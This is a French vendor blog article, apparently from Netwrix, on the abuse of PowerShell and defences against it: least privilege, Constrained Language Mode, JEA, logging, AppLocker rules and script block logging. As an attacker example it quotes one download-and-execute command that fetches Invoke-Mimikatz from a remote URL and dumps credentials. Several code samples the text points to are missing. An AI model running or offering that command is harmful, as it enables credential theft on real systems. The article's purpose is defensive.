Il existe un vieux dicton : “One person’s tool is another person’s weapon.” (« Un outil pour les uns, une arme pour les autres ») Un adage qui convient très bien à Windows PowerShell. Inclus aujourd’hui par défaut dans chaque système d’exploitation Windows, PowerShell est à la fois un interpréteur de lignes de commande et un langage de script puissant, utilisé par les professionnels de l’informatique pour la gestion des systèmes, l’administration à distance, la cybersécurité, le développement de logiciel, entre autres.
Mais il s’agit également d’un outil que les acteurs de la menace utilisent pour accomplir des actes de malveillance, comme la distribution de logiciels malveillants, le déploiement de ransomwares et l’exfiltration de données. Cet article s’intéresse aux raisons pour lesquelles PowerShell se révèle aussi utile pour les attaquants et apporte des stratégies efficaces pour défendre votre environnement informatique.
Catalogue d’attaques :
Pourquoi PowerShell est-elle une plateforme d’attaque aussi populaire ?
Pourquoi autant de cybercriminels utilisent-ils donc PowerShell pour lancer leurs attaques ? Eh bien, pour commencer, elle est gratuite. Ensuite, parmi les autres raisons, on trouve notamment :
- L’interface PowerShell est activée sur les dispositifs de point de terminaison Windows de la plupart des utilisateurs professionnels.
- PowerShell fonctionne sans fichier et exécute des commandes et des scripts directement dans la mémoire, ce qui rend toute attaque difficile à détecter.
- L’outil peut accéder virtuellement à n’importe quel appareil Windows en établissant une connexion à distance.
- Les acteurs de la menace peuvent exploiter au maximum PowerShell en utilisant d’autres outils malveillants, comme Empire, DeathStar et CrackMapExec.
- Les attaquants peuvent s’appuyer sur de nombreux scripts, disponibles sur GitHub et d’autres sites (par exemple, Invoke-Mimikatz).
Une fois qu’ils ont obtenu un accès initial à un environnement sur site, ils peuvent utiliser PowerShell pour avoir une visibilité totale de votre réseau et se déplacer latéralement pour atteindre vos données les plus sensibles et autres ressources informatiques.
Comment réduire le risque lié à PowerShell
Les nombreux types d’attaques basées sur PowerShell rendent la mise en place de mesures de protection indispensable, si vous voulez limiter son utilisation malveillante. Examinons quelques méthodes pour réduire le risque des menaces que peut impliquer PowerShell.
Réduction des privilèges d’administrateur local
À l’heure des réseaux Zero Trust, les utilisateurs standards ne devraient pas disposer de droits d’administrateur local sur leur ordinateur, à moins qu’ils n’en aient besoin pour réaliser leurs tâches. Ne pas octroyer de droits d’administrateur local ne limite certes pas l’accès à PowerShell, mais cela réduit considérablement ce qu’un utilisateur (ou un adversaire qui a compromis son compte) peut en faire, étant donné que de multiples commandes et scripts nécessitent des privilèges élevés pour les exécuter. Par ailleurs, la suppression des droits d’administrateur local permet de restreindre l’accès d’un utilisateur aux dossiers sensibles et aux paramètres système.
Utilisation du mode de langage contraint
Windows PowerShell prend en charge différents modes de langage qui permettent de délimiter les parties de PowerShell qui peuvent être utilisées. Le mode de langage contraint (ou Constrained Language Mode, en anglais) a été développé pour le système d’exploitation Windows RT, et ajouté plus tard à la version 5 de Windows PowerShell, utilisée aujourd’hui sur tous les systèmes d’exploitation Windows modernes.
Vous pouvez lancer une session PowerShell en mode FullLanguage (langue complète), comme indiqué ci-dessous :
Utilisez la commande suivante pour passer en mode ConstrainedLanguage :
Dans le mode de langage contraint (ConstrainedLanguage), les utilisateurs sont limités à un ensemble de commandes et de scripts. L’exécution de commandes en dehors de ces limitations est bloquée, comme on peut le voir dans l’exemple ci-dessous :
Le mode de langage contraint limite également l’accès à certaines fonctionnalités de PowerShell, notamment l’utilisation de profils et la possibilité de charger des modules supplémentaires. Prises dans leur ensemble, ces restrictions aident à éviter que les hackers se servent de PowerShell pour contourner les mesures de sécurité de votre système informatique.
Malheureusement, ces mesures de protection présentent une faiblesse évidente : un utilisateur peut tout simplement démarrer une session PowerShell, par défaut en mode FullLanguage, et avoir accès à toutes les fonctionnalités.
Utilisation de la technologie PowerShell Just Enough Administration (JEA)
Just Enough Administration, en français « Administration suffisante », permet de mettre en place un système basé sur les rôles pour les tâches d’administration. JEA est en quelque sorte une sécurité pour PowerShell semblable au principe du moindre privilège. Quand un utilisateur démarre une session JEA, une version restreinte de PowerShell lui est allouée, qui lui permet uniquement d’effectuer les tâches et d’exécuter les commandes associées à son rôle. Il ne peut ainsi pas exécuter de commandes privilégiées.
La configuration d’une session JEA est un processus qui se déroule en plusieurs étapes. Il faut dans un premier temps créer un rôle compatible, enregistré dans le fichier comme indiqué ci-dessous :
Il vous faut ensuite modifier le fichier .prsc et définir les autorisations particulières du rôle, par exemple permettre que certaines commandes spécifiques puissent être exécutées par l’utilisateur. D’autres étapes sont nécessaires : la création d’un fichier de configuration de session et son utilisation pour enregistrer un nouveau point de terminaison JEA sur l’ordinateur local.
Visibilité accrue de l’activité
Vous devez savoir ce qui se passe dans votre environnement informatique. Pour cela, vous pouvez utiliser le transfert d’événements Windows (Windows Event Forwarding, ou WEF), un outil gratuit du système d’exploitation Windows qui collecte et centralise les journaux des événements des systèmes distribués. Si vous préférez utiliser un outil tiers, considérez une solution de gestion des informations et des événements de sécurité (SIEM). Un logiciel SIEM collecte des données à partir d’une vaste collection de systèmes différents et les regroupe pour offrir un aperçu complet de l’activité au sein de votre environnement.
Vous devriez également activer les transcriptions PowerShell à l’échelle du système : elles permettent de journaliser l’exécution de commandes sur les systèmes assignés pour pouvoir les analyser. Ce qui peut s’avérer utile lors des audits et des enquêtes criminalistiques. Pour activer la transcription PowerShell, créez un objet de stratégie de groupe (GPO), allez à Configuration de l’ordinateur > Modèles d’administration > Composants Windows > PowerShell et basculez l’état du paramètre Activer la transcription PowerShell sur « Activé », comme montré ci-dessous :
Utilisation d’AppLocker pour désactiver PowerShell et les scripts
AppLocker est intégré à Windows 10 Enterprise et se révèle utile pour établir une liste d’applications et de scripts autorisés. Vous pouvez le configurer soit sur un système en local soit grâce à une stratégie de groupe. Si vous optez pour cette dernière, créez un objet de stratégie de groupe, et allez à Configuration de l’ordinateur > Paramètres Windows > Paramètres de sécurité > Stratégies de contrôle des applications > AppLocker. Créez une règle exécutable et sélectionnez Refuser comme dans la capture d’écran ci-dessous :
Vous pouvez bloquer les applications en fonction de leur éditeur, de leur chemin d’accès ou de la valeur de hachage du fichier. L’exemple de stratégie ci-dessous permet de bloquer le fichier en fonction de sa valeur de hachage, et autorise uniquement les administrateurs locaux à exécuter PowerShell. Tout autre utilisateur se verra bloquer l’accès à PowerShell.
Vous pouvez ensuite distribuer la stratégie à l’aide d’une stratégie de groupe ou l’exporter au format .XML, et l’importer dans un outil de gestion de terminaux mobiles, par exemple Intune. Voici le code XML de la stratégie exportée :
<AppLockerPolicy Version="1">
<RuleCollection Type="Exe" EnforcementMode="NotConfigured">
<FilePathRule Id="fd686d83-a829-4351-8ff4-27c7de5755d2" Name="(Default Rule) All files" Description="Allows members of the local Administrators group to run all applications." UserOrGroupSid="S-1-5-32-544" Action="Allow">
<Conditions>
<FilePathCondition Path="*" />
</Conditions>
</FilePathRule>
<FileHashRule Id="5d5ed1c5-a9db-4e46-8e88-80aade9dbb5c" Name="powershell.exe" Description="Block PowerShell" UserOrGroupSid="S-1-1-0" Action="Deny">
<Conditions>
<FileHashCondition>
<FileHash Type="SHA256" Data="0x68705285F7914823244E19E4F6DBC4A75C4DE807EA1CF128AEC2CCAFCE5FE109" SourceFileName="powershell.exe" SourceFileLength="448000" />
</FileHashCondition>
</Conditions>
</FileHashRule>
</RuleCollection>
<RuleCollection Type="Msi" EnforcementMode="NotConfigured" />
<RuleCollection Type="Script" EnforcementMode="NotConfigured" />
<RuleCollection Type="Dll" EnforcementMode="NotConfigured" />
<RuleCollection Type="Appx" EnforcementMode="NotConfigured" />
</AppLockerPolicy>
Vous pouvez également veiller à ce que seuls les fichiers d’un dossier spécifique puissent être exécutés à l’aide de stratégies d’exécution de scripts. Pour cela, il vous suffit de créer une règle d’autorisation grâce à un simple script PowerShell, comme ci-dessous :
Détection d’une utilisation malveillante de PowerShell grâce à la journalisation des blocs de script
La version 5 de PowerShell a introduit plusieurs nouvelles techniques pour effectuer un suivi des scripts PowerShell malveillants. L’une d’entre elles s’appelle la journalisation des blocs de script (Script Block Logging, en anglais). Elle est activée par défaut et offre une journalisation en texte clair du script complet exécuté par PowerShell. Cette fonctionnalité est utile, car de nombreuses attaques PowerShell exploitent des scripts encodés difficiles à déchiffrer.
Examinons l’une des manières pour un attaquant de cacher ses scripts, notamment à l’aide du script suivant qui télécharge et exécute Invoke-Mimikatz :
powershell “IEX (New-Object Net.WebClient).DownloadString(‘http://is.gd/oeoFuI’); Invoke-Mimikatz -DumpCreds”
Grâce à PowerSploit et à sa fonctionnalité Out-EncodedCommand, un adversaire peut créer une version chiffrée de cette commande, encore plus déroutante :
Toutefois, le journal des événements PowerShell affiche toujours la commande exacte qui a été exécutée, sans chiffrement
Comment Netwrix peut vous aider
Les organisations peuvent certes adopter ces stratégies d’atténuation et de détection pour surveiller et se protéger contre les scripts malveillants, mais il existe néanmoins des produits tiers qui simplifient le travail. La solution Netwrix Privilege Secure protège les points de terminaison Windows et simplifie la création de listes d’autorisation ou de refus qui permettent d’empêcher automatiquement les utilisateurs d’exécuter des applications non souhaitées, notamment PowerShell. Cet outil vous donne également la possibilité de supprimer les droits d’administrateur local tout en permettant aux utilisateurs de réaliser leurs tâches d’administration, sans sacrifier la productivité.
PowerShell est un outil puissant. Veillez à prendre les mesures nécessaires et faire en sorte que son utilisation par vos adversaires soit pratiquement impossible.
